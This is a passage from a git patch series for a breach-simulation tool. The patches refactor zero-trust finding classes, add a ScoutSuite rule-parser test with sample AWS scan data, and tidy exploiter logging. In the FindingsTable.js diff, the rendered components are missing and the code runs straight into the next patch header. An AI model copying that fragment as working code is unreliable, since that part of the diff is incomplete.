ScoutSuiteZTFindingService.get_finding_status_from_rules(details.scoutsuite_rules) - Finding.save_finding(finding.test, status, details) + ScoutSuiteFinding.save_finding(finding.test, status, details) @staticmethod def get_finding_status_from_rules(rules: List[ScoutSuiteRule]) -> str: @@ -40,13 +40,13 @@ class ScoutSuiteZTFindingService: return zero_trust_consts.STATUS_PASSED @staticmethod - def add_rule(finding: Finding, rule: ScoutSuiteRule): + def add_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): ScoutSuiteZTFindingService.change_finding_status_by_rule(finding, rule) finding.save() finding.details.fetch().add_rule(rule) @staticmethod - def change_finding_status_by_rule(finding: Finding, rule: ScoutSuiteRule): + def change_finding_status_by_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): rule_status = ScoutSuiteZTFindingService.get_finding_status_from_rules([rule]) finding_status = finding.status new_finding_status = ScoutSuiteZTFindingService.get_finding_status_from_rule_status(finding_status, rule_status) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py index 0350bd2f3..00e9d1e32 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py @@ -2,6 +2,7 @@ import pytest from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES, SCOUTSUITE_FINDINGS from monkey_island.cc.test_common.fixtures import FixtureEnum @@ -15,7 +16,7 @@ class TestScoutSuiteZTFindingService: ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[0], RULES[0]) findings = list(Finding.objects()) assert len(findings) == 1 - assert findings[0].finding_type == zero_trust_consts.SCOUTSUITE_FINDING + assert type(findings[0]) == ScoutSuiteFinding # Assert that details were created properly details = findings[0].details.fetch() assert len(details.scoutsuite_rules) == 1 @@ -23,9 +24,9 @@ class TestScoutSuiteZTFindingService: # Rule processing should add rule to an already existing finding ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[0], RULES[1]) - findings = list(Finding.objects()) + findings = list(ScoutSuiteFinding.objects()) assert len(findings) == 1 - assert findings[0].finding_type == zero_trust_consts.SCOUTSUITE_FINDING + assert type(findings[0]) == ScoutSuiteFinding # Assert that details were created properly details = findings[0].details.fetch() assert len(details.scoutsuite_rules) == 2 @@ -35,7 +36,7 @@ class TestScoutSuiteZTFindingService: ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[1], RULES[1]) findings = list(Finding.objects()) assert len(findings) == 2 - assert findings[1].finding_type == zero_trust_consts.SCOUTSUITE_FINDING + assert type(findings[0]) == ScoutSuiteFinding # Assert that details were created properly details = findings[1].details.fetch() assert len(details.scoutsuite_rules) == 1 diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py index 0b8de9221..aaea95031 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py @@ -1,6 +1,8 @@ -from common.common_consts.zero_trust_consts import TEST_SCOUTSUITE_SERVICE_SECURITY, STATUS_FAILED, SCOUTSUITE_FINDING, \ - TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, MONKEY_FINDING +from common.common_consts.zero_trust_consts import TEST_SCOUTSUITE_SERVICE_SECURITY, STATUS_FAILED, \ + TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding +from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding from monkey_island.cc.services.zero_trust.test_common.monkey_finding_data import get_monkey_details_dto from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import get_scoutsuite_details_dto @@ -8,16 +10,14 @@ from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data im def get_scoutsuite_finding_dto() -> Finding: scoutsuite_details = get_scoutsuite_details_dto() scoutsuite_details.save() - return Finding(test=TEST_SCOUTSUITE_SERVICE_SECURITY, - status=STATUS_FAILED, - finding_type=SCOUTSUITE_FINDING, - details=scoutsuite_details) + return ScoutSuiteFinding(test=TEST_SCOUTSUITE_SERVICE_SECURITY, + status=STATUS_FAILED, + details=scoutsuite_details) def get_monkey_finding_dto() -> Finding: monkey_details = get_monkey_details_dto() monkey_details.save() - return Finding(test=TEST_ENDPOINT_SECURITY_EXISTS, - status=STATUS_PASSED, - finding_type=MONKEY_FINDING, - details=monkey_details) + return MonkeyFinding(test=TEST_ENDPOINT_SECURITY_EXISTS, + status=STATUS_PASSED, + details=monkey_details) diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py index 3f972bb4c..5b69d6ad9 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py @@ -6,6 +6,8 @@ from bson import SON from common.common_consts import zero_trust_consts from common.utils.exceptions import UnknownFindingError from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding +from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService @@ -16,15 +18,18 @@ class EnrichedFinding: test_key: str pillars: List[str] status: str - finding_type: str details: Union[dict, None] class FindingService: @staticmethod - def get_all_findings() -> List[EnrichedFinding]: - findings = list(Finding.objects) + def get_all_findings_from_db() -> List[Finding]: + return list(Finding.objects) + + @staticmethod + def get_all_findings_for_ui() -> List[EnrichedFinding]: + findings = FindingService.get_all_findings_from_db() for i in range(len(findings)): details = FindingService._get_finding_details(findings[i]) findings[i] = findings[i].to_mongo() @@ -41,16 +46,15 @@ class FindingService: test_key=finding['test'], pillars=test_info[zero_trust_consts.PILLARS_KEY], status=finding['status'], - finding_type=finding['finding_type'], details=None ) return enriched_finding @staticmethod def _get_finding_details(finding: Finding) -> Union[dict, SON]: - if finding.finding_type == zero_trust_consts.MONKEY_FINDING: + if type(finding) == MonkeyFinding: return MonkeyZTDetailsService.fetch_details_for_display(finding.details.id) - elif finding.finding_type == zero_trust_consts.SCOUTSUITE_FINDING: + elif type(finding) == ScoutSuiteFinding: return finding.details.fetch().to_mongo() else: - raise UnknownFindingError(f"Unknown finding type {finding.finding_type}") + raise UnknownFindingError(f"Unknown finding type {str(type(finding))}") diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py index 9ec584571..4f9c067f6 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py @@ -1,5 +1,5 @@ import common.common_consts.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService class PillarService: @@ -13,7 +13,7 @@ class PillarService: @staticmethod def _get_pillars_grades(): pillars_grades = [] - all_findings = Finding.objects() + all_findings = FindingService.get_all_findings_from_db() for pillar in zero_trust_consts.PILLARS: pillars_grades.append(PillarService.__get_pillar_grade(pillar, all_findings)) return pillars_grades @@ -67,7 +67,7 @@ class PillarService: @staticmethod def __get_status_of_single_pillar(pillar): - all_findings = Finding.objects() + all_findings = FindingService.get_all_findings_from_db() grade = PillarService.__get_pillar_grade(pillar, all_findings) for status in zero_trust_consts.ORDERED_TEST_STATUSES: if grade[status] > 0: diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py index 36ef060fd..fdbe6df39 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py @@ -3,9 +3,10 @@ from unittest.mock import MagicMock import pytest from common.common_consts.zero_trust_consts import TESTS_MAP, TEST_SCOUTSUITE_SERVICE_SECURITY, STATUS_FAILED, \ - SCOUTSUITE_FINDING, DEVICES, NETWORKS, MONKEY_FINDING, STATUS_PASSED, TEST_ENDPOINT_SECURITY_EXISTS + DEVICES, NETWORKS, STATUS_PASSED, TEST_ENDPOINT_SECURITY_EXISTS from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService -from monkey_island.cc.services.zero_trust.test_common.finding_data import get_scoutsuite_finding_dto, get_monkey_finding_dto +from monkey_island.cc.services.zero_trust.test_common.finding_data import get_scoutsuite_finding_dto, \ + get_monkey_finding_dto from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService, EnrichedFinding from monkey_island.cc.test_common.fixtures.fixture_enum import FixtureEnum @@ -18,11 +19,10 @@ def test_get_all_findings(): # This method fails due to mongomock not being able to simulate $unset, so don't test details MonkeyZTDetailsService.fetch_details_for_display = MagicMock(return_value=None) - findings = FindingService.get_all_findings() + findings = FindingService.get_all_findings_for_ui() description = TESTS_MAP[TEST_SCOUTSUITE_SERVICE_SECURITY]['finding_explanation'][STATUS_FAILED] expected_finding0 = EnrichedFinding(finding_id=findings[0].finding_id, - finding_type=SCOUTSUITE_FINDING, pillars=[DEVICES, NETWORKS], status=STATUS_FAILED, test=description, @@ -31,7 +31,6 @@ def test_get_all_findings(): description = TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS]['finding_explanation'][STATUS_PASSED] expected_finding1 = EnrichedFinding(finding_id=findings[1].finding_id, - finding_type=MONKEY_FINDING, pillars=[DEVICES], status=STATUS_PASSED, test=description, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index efd5a6ac4..657ad741e 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -36,10 +36,10 @@ export class FindingsTable extends Component { ]; getFindingDetails(finding) { - if (finding.finding_type === 'scoutsuite_finding') { + if ('scoutsuite_rules' in finding.details) { return ; - } else if (finding.finding_type === 'monkey_finding') { + } else { return Date: Mon, 8 Feb 2021 17:41:57 +0200 Subject: [PATCH 243/466] Added ScoutSuite rule parsing unit test and example of raw ScoutSuite data received. --- .../data_parsing/test_rule_parser.py | 35 +++++++ .../test_common/raw_scoutsute_data.py | 93 +++++++++++++++++++ 2 files changed, 128 insertions(+) create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py new file mode 100644 index 000000000..cd217882d --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py @@ -0,0 +1,35 @@ +from enum import Enum + +import pytest + +from common.utils.exceptions import RulePathCreatorNotFound +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser +from monkey_island.cc.services.zero_trust.test_common.raw_scoutsute_data import RAW_SCOUTSUITE_DATA + + +class ExampleRules(Enum): + NON_EXSISTENT_RULE = 'bogus_rule' + +ALL_PORTS_OPEN = EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL + +EXPECTED_RESULT = {'description': 'Security Group Opens All Ports to All', + 'path': 'ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', + 'level': 'danger', + 'display_path': 'ec2.regions.id.vpcs.id.security_groups.id', + 'items': [ + 'ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups.' + 'sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR'], + 'dashboard_name': 'Rules', 'checked_items': 179, 'flagged_items': 2, 'service': 'EC2', + 'rationale': 'It was detected that all ports in the security group are open <...>', + 'remediation': None, 'compliance': None, 'references': None} + + +def test_get_rule_data(): + # Test proper parsing of the raw data to rule + results = RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA, ALL_PORTS_OPEN) + assert results == EXPECTED_RESULT + + with pytest.raises(RulePathCreatorNotFound): + RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA, ExampleRules.NON_EXSISTENT_RULE) + pass diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py new file mode 100644 index 000000000..317697632 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py @@ -0,0 +1,93 @@ +# This is what our codebase receives after running ScoutSuite module. +# Object '...': {'...': '...'} represents continuation of similar objects as above +RAW_SCOUTSUITE_DATA = { + 'sg_map': { + 'sg-abc': {'region': 'ap-northeast-1', 'vpc_id': 'vpc-abc'}, + 'sg-abcd': {'region': 'ap-northeast-2', 'vpc_id': 'vpc-abc'}, + '...': {'...': '...'}}, + 'subnet_map': { + 'subnet-abc': {'region': 'ap-northeast-1', 'vpc_id': 'vpc-abc'}, + 'subnet-abcd': {'region': 'ap-northeast-1', 'vpc_id': 'vpc-abc'}, + '...': {'...': '...'} + }, + 'provider_code': 'aws', + 'provider_name': 'Amazon Web Services', + 'environment': None, + 'result_format': 'json', + 'partition': 'aws', + 'account_id': '125686982355', + 'last_run': { + 'time': '2021-02-05 16:03:04+0200', + 'run_parameters': {'services': [], 'skipped_services': [], 'regions': [], 'excluded_regions': []}, + 'version': '5.10.0', + 'ruleset_name': 'default', + 'ruleset_about': 'This ruleset', + 'summary': {'ec2': {'checked_items': 3747, 'flagged_items': 262, 'max_level': 'warning', 'rules_count': 28, + 'resources_count': 176}, + 's3': {'checked_items': 88, 'flagged_items': 25, 'max_level': 'danger', 'rules_count': 18, + 'resources_count': 5}, + '...': {'...': '...'}}}, + 'metadata': { + 'compute': { + 'summaries': {'external attack surface': {'cols': 1, + 'path': 'service_groups.compute.summaries.external_attack_surface', + 'callbacks': [ + ['merge', {'attribute': 'external_attack_surface'}]]}}, + '...': {'...': '...'} + }, + '...': {'...': '...'} + }, + + # This is the important part, which we parse to get resources + 'services': { + 'ec2': {'regions': { + 'ap-northeast-1': { + 'vpcs': { + 'vpc-abc': { + 'id': 'vpc-abc', + 'security_groups': { + 'sg-abc': { + 'name': 'default', + 'rules': { + 'ingress': {'protocols': { + 'ALL': {'ports': {'1-65535': {'cidrs': [{'CIDR': '0.0.0.0/0'}]}}}}, + 'count': 1}, + 'egress': {'protocols': { + 'ALL': {'ports': {'1-65535': {'cidrs': [{'CIDR': '0.0.0.0/0'}]}}}}, + 'count': 1}} + } + }}}, + '...': {'...': '...'} + }}, + # Interesting info, maybe could be used somewhere in the report + 'external_attack_surface': { + '52.52.52.52': {'protocols': {'TCP': {'ports': {'22': {'cidrs': [{'CIDR': '0.0.0.0/0'}]}}}}, + 'InstanceName': 'InstanceName', + 'PublicDnsName': 'ec2-52-52-52-52.eu-central-1.compute.amazonaws.com'}}, + # We parse these into ScoutSuite security rules + 'findings': { + 'ec2-security-group-opens-all-ports-to-all': { + 'description': 'Security Group Opens All Ports to All', + 'path': 'ec2.regions.id.vpcs.id.security_groups' + '.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', + 'level': 'danger', + 'display_path': 'ec2.regions.id.vpcs.id.security_groups.id', + 'items': [ + 'ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups' + '.sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR'], + 'dashboard_name': 'Rules', + 'checked_items': 179, + 'flagged_items': 2, + 'service': 'EC2', + 'rationale': 'It was detected that all ports in the security group are open <...>', + 'remediation': None, 'compliance': None, 'references': None}, + '...': {'...': '...'} + } + }, + '...': {'...': '...'} + }, + 'service_list': ['acm', 'awslambda', 'cloudformation', 'cloudtrail', 'cloudwatch', 'config', 'directconnect', + 'dynamodb', 'ec2', 'efs', 'elasticache', 'elb', 'elbv2', 'emr', 'iam', 'kms', 'rds', 'redshift', + 'route53', 's3', 'ses', 'sns', 'sqs', 'vpc', 'secretsmanager'], + 'service_groups': {'...': {'...': '...'}} +} From a0bb0bc7fea88c811772af8b538eb6ef4f93eea7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Feb 2021 17:42:57 +0200 Subject: [PATCH 244/466] Small renamings and minor improvements --- ...findings.py => scoutsuite_finding_maps.py} | 17 +++++----- .../consts/scoutsuite_findings_list.py | 10 +++--- .../scoutsuite/data_parsing/rule_parser.py | 33 +++++++++++++------ .../abstract_rule_path_creator.py | 3 +- .../test_common/scoutsuite_finding_data.py | 2 +- 5 files changed, 40 insertions(+), 25 deletions(-) rename monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/{scoutsuite_findings.py => scoutsuite_finding_maps.py} (95%) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py similarity index 95% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py index 0881b4733..a7ef79fdf 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py @@ -19,7 +19,8 @@ from .rule_names.sqs_rules import SQSRules from .rule_names.vpc_rules import VPCRules -class ScoutSuiteFinding(ABC): +# Class which links ZT tests and rules to ScoutSuite finding +class ScoutSuiteFindingMap(ABC): @property @abstractmethod def rules(self) -> List[EC2Rules]: @@ -31,7 +32,7 @@ class ScoutSuiteFinding(ABC): pass -class PermissiveFirewallRules(ScoutSuiteFinding): +class PermissiveFirewallRules(ScoutSuiteFindingMap): rules = [EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL, @@ -56,7 +57,7 @@ class PermissiveFirewallRules(ScoutSuiteFinding): test = zero_trust_consts.TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES -class UnencryptedData(ScoutSuiteFinding): +class UnencryptedData(ScoutSuiteFindingMap): rules = [EC2Rules.EBS_SNAPSHOT_NOT_ENCRYPTED, EC2Rules.EBS_VOLUME_NOT_ENCRYPTED, EC2Rules.EC2_INSTANCE_WITH_USER_DATA_SECRETS, ELBv2Rules.ELBV2_LISTENER_ALLOWING_CLEARTEXT, ELBv2Rules.ELBV2_OLDER_SSL_POLICY, @@ -69,7 +70,7 @@ class UnencryptedData(ScoutSuiteFinding): test = zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA -class DataLossPrevention(ScoutSuiteFinding): +class DataLossPrevention(ScoutSuiteFindingMap): rules = [RDSRules.RDS_INSTANCE_BACKUP_DISABLED, RDSRules.RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD, RDSRules.RDS_INSTANCE_SINGLE_AZ, S3Rules.S3_BUCKET_NO_MFA_DELETE, S3Rules.S3_BUCKET_NO_VERSIONING, ELBv2Rules.ELBV2_NO_DELETION_PROTECTION] @@ -77,7 +78,7 @@ class DataLossPrevention(ScoutSuiteFinding): test = zero_trust_consts.TEST_SCOUTSUITE_DATA_LOSS_PREVENTION -class SecureAuthentication(ScoutSuiteFinding): +class SecureAuthentication(ScoutSuiteFindingMap): rules = [ IAMRules.IAM_USER_NO_ACTIVE_KEY_ROTATION, IAMRules.IAM_PASSWORD_POLICY_MINIMUM_LENGTH, @@ -95,7 +96,7 @@ class SecureAuthentication(ScoutSuiteFinding): test = zero_trust_consts.TEST_SCOUTSUITE_SECURE_AUTHENTICATION -class RestrictivePolicies(ScoutSuiteFinding): +class RestrictivePolicies(ScoutSuiteFindingMap): rules = [ IAMRules.IAM_ASSUME_ROLE_POLICY_ALLOWS_ALL, IAMRules.IAM_EC2_ROLE_WITHOUT_INSTANCES, @@ -157,7 +158,7 @@ class RestrictivePolicies(ScoutSuiteFinding): test = zero_trust_consts.TEST_SCOUTSUITE_RESTRICTIVE_POLICIES -class Logging(ScoutSuiteFinding): +class Logging(ScoutSuiteFindingMap): rules = [ CloudTrailRules.CLOUDTRAIL_DUPLICATED_GLOBAL_SERVICES_LOGGING, CloudTrailRules.CLOUDTRAIL_NO_DATA_LOGGING, @@ -177,7 +178,7 @@ class Logging(ScoutSuiteFinding): test = zero_trust_consts.TEST_SCOUTSUITE_LOGGING -class ServiceSecurity(ScoutSuiteFinding): +class ServiceSecurity(ScoutSuiteFindingMap): rules = [ CloudformationRules.CLOUDFORMATION_STACK_WITH_ROLE, ELBv2Rules.ELBV2_HTTP_REQUEST_SMUGGLING, diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py index b123e720e..a531a4476 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py @@ -1,8 +1,8 @@ -from .scoutsuite_findings import (DataLossPrevention, Logging, - PermissiveFirewallRules, - RestrictivePolicies, - SecureAuthentication, ServiceSecurity, - UnencryptedData) +from .scoutsuite_finding_maps import (DataLossPrevention, Logging, + PermissiveFirewallRules, + RestrictivePolicies, + SecureAuthentication, ServiceSecurity, + UnencryptedData) SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData, DataLossPrevention, SecureAuthentication, RestrictivePolicies, Logging, ServiceSecurity] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py index 8da69a9bb..e07431541 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py @@ -1,3 +1,5 @@ +from enum import Enum + import dpath.util from common.utils.exceptions import RulePathCreatorNotFound @@ -5,22 +7,33 @@ from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_buil RULE_PATH_CREATORS_LIST +def __build_rule_to_rule_path_creator_hashmap(): + hashmap = {} + for rule_path_creator in RULE_PATH_CREATORS_LIST: + for rule_name in rule_path_creator.supported_rules: + hashmap[rule_name] = rule_path_creator + return hashmap + + +RULE_TO_RULE_PATH_CREATOR_HASHMAP = __build_rule_to_rule_path_creator_hashmap() + + class RuleParser: @staticmethod - def get_rule_data(scoutsuite_data, rule_name): - rule_path = RuleParser.get_rule_path(rule_name) + def get_rule_data(scoutsuite_data: dict, rule_name: Enum) -> dict: + rule_path = RuleParser._get_rule_path(rule_name) return dpath.util.get(scoutsuite_data, rule_path) @staticmethod - def get_rule_path(rule_name): - creator = RuleParser.get_rule_path_creator(rule_name) + def _get_rule_path(rule_name: Enum): + creator = RuleParser._get_rule_path_creator(rule_name) return creator.build_rule_path(rule_name) @staticmethod - def get_rule_path_creator(rule_name): - for rule_path_creator in RULE_PATH_CREATORS_LIST: - if rule_name in rule_path_creator.supported_rules: - return rule_path_creator - raise RulePathCreatorNotFound(f"Rule path creator not found for rule {rule_name.value}. Make sure to assign" - f"this rule to any rule path creators.") + def _get_rule_path_creator(rule_name: Enum): + try: + return RULE_TO_RULE_PATH_CREATOR_HASHMAP[rule_name] + except KeyError: + raise RulePathCreatorNotFound(f"Rule path creator not found for rule {rule_name.value}. Make sure to assign" + f"this rule to any rule path creators.") diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py index 78c505d92..1d014dcd4 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py @@ -1,4 +1,5 @@ from abc import ABC, abstractmethod +from enum import Enum from typing import List from ...consts.service_consts import FINDINGS, SERVICE_TYPES, SERVICES @@ -17,6 +18,6 @@ class AbstractRulePathCreator(ABC): pass @classmethod - def build_rule_path(cls, rule_name) -> List[str]: + def build_rule_path(cls, rule_name: Enum) -> List[str]: assert(rule_name in cls.supported_rules) return [SERVICES, cls.service_type.value, FINDINGS, rule_name.value] diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py index b82a53260..1dfad750e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py @@ -1,6 +1,6 @@ from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from ..scoutsuite.consts.scoutsuite_findings import PermissiveFirewallRules, UnencryptedData +from ..scoutsuite.consts.scoutsuite_finding_maps import PermissiveFirewallRules, UnencryptedData SCOUTSUITE_FINDINGS = [ PermissiveFirewallRules, From 6f16ba431cecc054695c8e2572fa15985484d548 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 9 Feb 2021 14:21:55 +0200 Subject: [PATCH 245/466] Minor refactorings of code style in zero trust code --- monkey/common/utils/exceptions.py | 4 ++++ monkey/infection_monkey/exploit/HostExploiter.py | 8 ++++---- .../collectors/scoutsuite_collector/__init__.py | 15 +++++++++++++++ .../scoutsuite_collector/scoutsuite_api.py | 16 ---------------- .../scoutsuite_collector/scoutsuite_collector.py | 7 ++++--- .../telemetry/scoutsuite_telem.py | 4 ++-- .../monkey_findings/monkey_zt_details_service.py | 6 +++--- 7 files changed, 32 insertions(+), 28 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 6b992b557..2c7121942 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -44,3 +44,7 @@ class UnknownFindingError(Exception): class VersionServerConnectionError(Exception): """ Raise to indicate that connection to version update server failed """ + + +class FindingWithoutDetailsError(Exception): + """ Raise when pulling events for a finding, but get none """ diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index f8fda6d18..c48cadcf0 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -74,10 +74,10 @@ class HostExploiter(Plugin): result = None try: result = self._exploit_host() - except FailedExploitationError as e: - logger.debug(e) - except Exception as _: - logger.error(f'Exception in exploit_host', exc_info=True) + except FailedExploitationError: + logger.debug('Exploiter failed.', exc_info=True) + except Exception: + logger.error('Exception in exploit_host', exc_info=True) finally: self.post_exploit() return result diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/__init__.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/__init__.py index e69de29bb..97e736b4b 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/__init__.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/__init__.py @@ -0,0 +1,15 @@ +import pkgutil +import sys +from pathlib import PurePath + +_scoutsuite_api_package = pkgutil.get_loader('common.cloud.scoutsuite.ScoutSuite.__main__') + + +def _add_scoutsuite_to_python_path(): + scoutsuite_path = PurePath(_scoutsuite_api_package.path).parent.parent.__str__() + sys.path.append(scoutsuite_path) + + +# Add ScoutSuite to python path because this way +# we don't need to change any imports in ScoutSuite code +_add_scoutsuite_to_python_path() diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py index 575058946..88ef32293 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py @@ -1,19 +1,3 @@ -import pkgutil -import sys -from pathlib import PurePath - -_scoutsuite_api_package = 